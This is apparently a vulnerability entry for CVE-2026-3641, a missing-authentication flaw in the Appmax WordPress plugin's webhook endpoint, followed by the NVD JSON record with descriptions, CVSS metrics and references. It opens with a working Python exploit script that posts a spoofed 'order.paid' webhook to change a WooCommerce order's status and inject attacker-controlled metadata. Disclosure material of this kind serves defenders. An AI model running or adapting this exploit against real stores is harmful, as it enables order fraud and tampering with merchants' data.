CVE-2026-3641

import requests # Target URL (The actual REST endpoint path may vary based on WP configuration) target_url = "http://target-site.com/wp-json/appmax/v1/webhook-system" # Malicious payload to spoof an order paid event # This attempts to change order status for order ID 1001 payload = { "event": "order.paid", "data": { "id": "1001", "status": "processing", # Additional arbitrary data can be injected here "custom_meta": "attacker_controlled_value" } } headers = { "Content-Type": "application/json" } try: # Send unauthenticated POST request response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully. Check order status to verify exploitation.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-3641", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:31.773", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Appmax plugin for WordPress is vulnerable to Improper Input Validation in all versions up to, and including, 1.0.3. This is due to the plugin registering a public REST API webhook endpoint at /webhook-system without implementing webhook signature validation, secret verification, or any mechanism to authenticate that incoming webhook requests genuinely originate from the legitimate Appmax payment service. The plugin directly processes untrusted attacker-controlled input from the 'event' and 'data' parameters without verifying the webhook's authenticity. This makes it possible for unauthenticated attackers to craft malicious webhook payloads that can modify the status of existing WooCommerce orders (e.g., changing them to processing, refunded, cancelled, or pending), create entirely new WooCommerce orders with arbitrary data, create new WooCommerce products with attacker-controlled names/descriptions/prices, and write arbitrary values to order post metadata by spoofing legitimate webhook events."}, {"lang": "es", "value": "El plugin Appmax para WordPress es vulnerable a la Validación de Entrada Inadecuada en todas las versiones hasta la 1.0.3, inclusive. Esto se debe a que el plugin registra un endpoint de webhook de API REST público en /webhook-system sin implementar validación de firma de webhook, verificación de secreto, o cualquier mecanismo para autenticar que las solicitudes de webhook entrantes provengan genuinamente del servicio de pago legítimo de Appmax. El plugin procesa directamente entrada no confiable controlada por el atacante de los parámetros 'event' y 'data' sin verificar la autenticidad del webhook. Esto hace posible que atacantes no autenticados elaboren cargas útiles de webhook maliciosas que pueden modificar el estado de pedidos existentes de WooCommerce (por ejemplo, cambiándolos a en procesamiento, reembolsado, cancelado o pendiente), crear pedidos de WooCommerce completamente nuevos con datos arbitrarios, crear nuevos productos de WooCommerce con nombres/descripciones/precios controlados por el atacante, y escribir valores arbitrarios en los metadatos de publicaciones de pedidos suplantando eventos de webhook legítimos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/appmax/tags/1.0.3/includes/core/class-appmax-payments-webhook.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/tags/1.0.3/includes/core/class-appmax-payments-webhook.php#L28", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/tags/1.0.3/includes/webhooks/class-appmax-payments-webhook-events.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/tags/1.0.3/includes/webhooks/types/class-appmax-payments-order-paid.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/trunk/includes/core/class-appmax-payments-webhook.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/trunk/includes/core/class-appmax-payments-webhook.php#L28", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/trunk/includes/webhooks/class-appmax-payments-webhook-events.php#L103", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/appmax/trunk/includes/webhooks/types/class-appmax-payments-order-paid.php#L56", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6bf61bb7-f977-4afe-bb81-e6de12e00b03?source=cve", "source": "[email protected]"}]}}